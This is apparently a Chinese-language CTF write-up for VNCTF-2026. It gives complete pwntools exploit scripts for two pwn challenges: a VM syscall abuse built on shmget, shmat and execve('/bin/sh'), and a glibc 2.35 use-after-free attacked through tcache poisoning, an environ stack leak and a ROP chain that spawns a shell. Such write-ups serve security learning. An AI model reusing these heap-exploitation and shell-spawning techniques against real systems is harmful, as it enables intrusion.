VNCTF-2026

前言

那几天在准备北京出差和aliyunctf,没来及做这个比赛的题目,这几天抽时间复现一下

vm-syscall

题目逆向出来后逻辑很简单,白给了一个syscall,但是参数不好控制,越界检查很严格,但是考虑到题目将syscall后的rax的结果给存储到了vm的r1寄存器中,所以利用shmid=shmget(0x50,0x80,0x3b6);addr=shmat(shmid,0,0),来向程序申请一段可写的内存,后面向这段内存上写一个‘/bin/sh\x00’来实现execve('/bin/sh\x00',0,0)就好

exp:

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")

cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.35/elf
dir /home/alpha/CTF/glibc-source/glibc-2.35/malloc
b do_lookup_x
b exit
b *_IO_wdoallocbuf
b *_IO_flush_all_lockp
b *_IO_wfile_overflow

x/30gx $rebase(0x4050)
b *$rebase(0x0000000000001D78)
"""

def vmsyscall():
    p=p8(4)
    return p

def addrn(numb,length,index1,index2):
    p=p8(2)+p8(index1)+p8(index2)+p8(length)
    arr=[]
    for i in range(length):
        arr.append(numb & 0xff)
        numb >>= 8
    for i in range(length-1, -1, -1):
        p += p8(arr[i])
    p+=p8(0x10)
    return p
def subrn(numb,length,index1,index2):
    p=p8(2)+p8(index1)+p8(index2)+p8(length)
    arr=[]
    for i in range(length):
        arr.append(numb & 0xff)
        numb >>= 8
    for i in range(length-1, -1, -1):
        p += p8(arr[i])
    p+=p8(0x20)
    return p

def xchg(index1,index2):
    p=p8(1)+p8(index1)+p8(index2)+p8(0x30)
    return p

# shmid=shmget(0x50,0x80,0x3b6)
pl=addrn(29,1,0,0)+addrn(0x50,1,1,1)+addrn(0x80,1,2,2)+addrn(0x3b6,2,3,3)
pl+=vmsyscall()
# addr=shmat(shmid,0,0)
pl+=xchg(0,1)+subrn(0x50,1,0,0)+addrn(30,1,0,0)+subrn(0x80,1,2,2)+subrn(0x3b6,2,3,3)
pl+=vmsyscall()

#read(0,addr,0x100)
pl+=xchg(0,2)+addrn(0x100,2,3,3)
pl+=vmsyscall()

#execve('/bin/sh',0,0)
pl+=xchg(1,2)+subrn(9,1,0,0)+addrn(0x3b,1,0,0)+subrn(0x100,2,3,3)
pl+=vmsyscall()
# gdbbug(cmd)
sla("code:",pl)
pause()
pl=b'/bin/sh\x00'
sl(pl)

ita()

chal-record

题目没有抹去protobuf的结构体,直接使用ptbk导出就好。逆向之后不然发现,程序存在一个UAF,2.35,直接攻击tcachebin就好

exp

from pwn import *
from pwn_std import *
from SomeofHouse import HouseOfSome
from robot_pb2 import OperationRequest, OperationResponse

p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6")


def add(name:bytes,content):
    msg = OperationRequest()
    msg.op_num = 0xFFFF0001
    msg.op_operator = name
    msg.target_index = 0
    msg.target_value = content
    serialized = msg.SerializeToString()
    sl(serialized)

def show(index):
    msg = OperationRequest()
    msg.op_num = 0xFFFF0002
    msg.op_operator = b''
    msg.target_index = index
    msg.target_value = b''
    serialized = msg.SerializeToString()
    sl(serialized)

def edit(index,name,content):
    msg = OperationRequest()
    msg.op_num = 0xFFFF0003
    msg.op_operator = name
    msg.target_index = index
    msg.target_value = content
    payload = msg.SerializeToString()    
    # payload=p64(0x04120ffffc808308)
    # payload+=name
    # payload+=p8(0x18)
    # payload+=p8(index)
    # payload+=p16(0x0422)
    # payload+=content
    sl(payload)


def dele(index):
    msg = OperationRequest()
    msg.op_num = 0xFFFF0004
    msg.op_operator = b''
    msg.target_index = index
    msg.target_value = b''
    serialized = msg.SerializeToString()
    sl(serialized)

##先去鉴权
msg = OperationRequest()
msg.op_num = 49374
msg.op_operator = b''
msg.target_index = 0
msg.target_value = b'ping'
serialized = msg.SerializeToString()
sl(serialized)
ru("\x08\xc8\x01\x12\x12")

add(b"test", b"abcd"*0x200) #0
p.recvline()
add(b"test", b"test") #1
p.recvline()

dele(0)
p.recvline()
show(0)
ru(b'\x08\xc8\x01\x12\x06')
lb=uu64(rc(6))-(0x772c07c1ace0-0x772c07a00000)
print("lb base: "+hex(lb))


add(b"test", b"abcd"*0x200) #0
p.recvline()
add(b"test", b"abcd"*0x100) #2
p.recvline()

dele(2)
p.recvline()
show(2)
ru(b'\x08\xc8\x01\x12\x06')
hb=(uu64(rc(6)))-0x15170
print("heap base: "+hex(hb))
###构造出来一个tcachebin的链表,来使用house of some

add(b"abcdefgh",b"test"*0x10) #2
p.recvline()
add(b"abcdefgh",b"ta"*0x10+b"a") #3
p.recvline()
dele(2)

pl=((hb+0x1f770)>>12)^(hb+0x20ab0+0x60)
edit(2,p64(pl)[:6],b"test"*0x10)
add(b"abcdefgh",b"ab"*0x10+b"a") #2
add(p64(hb+0x20ab0)[:6],b"ab"*0x10+b"a") #2
####完成了向heaplist里面加入一个自己的堆块####
'''
0x5a07991bcaa0  0x0000006e6978694d      0x0000000000000c11      Mixin...........
0x5a07991bcab0  0x00005a07991ae880      0x00005a07991b2810      .....Z...(...Z..
0x5a07991bcac0  0x0000000000000800      0x00005a07991b0d90      .............Z..
0x5a07991bcad0  0x00005a07991bb750      0x0000000000000004      P....Z..........
0x5a07991bcae0  0x00005a07991bb770      0x00005a07991b7060      p....Z..`p...Z..
0x5a07991bcaf0  0x0000000000000021      0x00005a07991b1160      !.......`....Z..
0x5a07991bcb00  0x00005a07991b4da0      0x0000000000000021      .M...Z..!.......
0x5a07991bcb10  0x00005a07991bcab0      0x00005a07991bb630      .....Z..0....Z..
0x5a07991bcb20  0x0000000000000021      0x0000000000000000      !...............
'''
edit(4,p64(hb+0x20ab8+0x18)[:6],b"test")
print("environ=",hex(lb+libc.sym.environ))
edit(0,p64(lb+libc.sym.environ+1)[:6],b"test")
edit(0,b"",b"test")
show(1)

ru(b"you intend to send raw bytes.")
ru(b"\x08\xc8\x01\x12\x06")
stack=uu64(rc(6))
print("stack=",hex(stack))

####向栈上面写一个rop链,来执行system("/bin/sh")####
rdi=lb+0x000000000002a3e5
binsh=lb+next(libc.search(b"/bin/sh\x00"))
system=lb+libc.sym["system"]+0x1b
print(hex(system))
#0x0000000000029fce : add rsp, 0x98 ; ret
add_rsp_ret=lb+0x0000000000029fce

'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''

edit(4,p64(stack-0x170+0x98+8)[:6],b"test")
edit(0,p64(rdi)[:6],b"test")
edit(4,p64(stack-0x170+0x98+16)[:6],b"test")
edit(0,b'a'*7,b"test")
edit(0,p64(binsh)[:6],b"test")
edit(4,p64(stack-0x170+0x98+16+8)[:6],b"test")
edit(0,b'a'*7,b"test")
edit(0,p64(lb+0xebd43)[:6],b"test")
edit(4,p64(stack-0x170)[:6],b"test")
# gdbbug(cmd)
edit(0,p64(add_rsp_ret)[:6],b"test")
ita()


VNCTF-2026
https://a1b2rt.cn//archives/vnctf-2026
作者
A1b2rt
发布于
2026年02月27日
许可协议